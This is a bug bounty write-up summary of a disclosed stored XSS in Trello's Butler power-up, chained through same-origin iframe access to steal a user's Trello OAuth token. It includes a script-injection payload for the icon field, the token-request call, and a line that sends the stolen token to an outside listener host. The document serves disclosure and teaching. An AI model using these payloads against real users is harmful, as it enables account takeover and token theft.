# Stealing the Trello token by abusing a cross-iframe XSS on the Butler Plugin

Stored XSS in Butler's unsanitized icon field, escalated via same-origin iframe to steal Trello OAuth token when a board is opened.

- Payout: $1,800
- Severity: medium
- Program: Trello
- Credited: Florian Courtial
- Disclosed: 2020-04-29
- Write-up quality: 8/10
- Original: https://hethical.io/stealing-the-trello-token-by-abusing-a-cross-iframe-xss-on-the-butler-plugin/
- Library page: https://bugbountylibrary.com/r/blog%3Ahethical-io-stealing-the-trello-token-by-abusing-a-cross-iframe-xss-on-the-butler-plugin
- Tags: domain:web3 impact:ato kind:bounty platform:blog sev:medium tech:oauth technique:chained technique:legacy-endpoint technique:source-review vuln:account-takeover vuln:xss

**Target:** Trello board power-up (Butler plugin iframe)
**Root cause:** Butler renders the card button 'icon' property from PluginData into HTML without sanitization, unlike the 'label' field. PluginData is attacker-controllable via the Trello API.
**Steps:**
1. Create a Trello board and add the Butler power-up.
2. Use the Trello API to set Butler PluginData for a card button with `icon` set to `"><script>alert(Auth.getActiveToken())</script>` (LZ-compressed JSON).
3. Open the Butler modal on the board; the unsanitized icon is injected into `<i class="...">` and the script executes.
4. For the second variant: host a custom power-up on butlerfortrello.com loading a vulnerable Butler version (e.g., `/master-70/`), and add it to the board alongside real Butler.
5. Set the malicious PluginData; when the board loads, the custom power-up executes the payload, iterates `window.parent.frames`, finds the real Butler iframe (same origin), and calls `_trello.requestWithContext('request-token', {name:'Butler', key:'446cbc1d6532c596ddc610207ead5576', scope:'read,write,account'})`.
6. Exfiltrate the returned token to an attacker server via `$.get('https://hethical.io/listen?stolen_token=' + token)`.
**How found:** Noticed the icon field was not sanitized while the label was, during code review of Butler's frontend. Later observed versioned paths (`/master-197/`) on butlerfortrello.com, realized old vulnerable versions were still served, and that a custom power-up could load them to gain same-origin access to the real Butler iframe.
**Exploitation:** Attacker crafts a malicious board with Butler PluginData containing an XSS payload in the icon field. Victim opens the board (or is added as member and clicks the email link). The payload executes in the Butler iframe origin, and in the second variant, leverages same-origin access to the real Butler iframe to request a Trello OAuth token on behalf of the victim, then exfiltrates it.
**Escalation:** Chained stored XSS with same-origin iframe access and Trello's OAuth token generation for Trello-owned plugins to achieve account takeover.
**Insight:** When a plugin system stores user-controlled JSON and renders it, check every field for sanitization, not just the obvious ones. Also, versioned static assets on a shared origin can be abused to load old vulnerable code and pivot to sibling iframes via same-origin access.
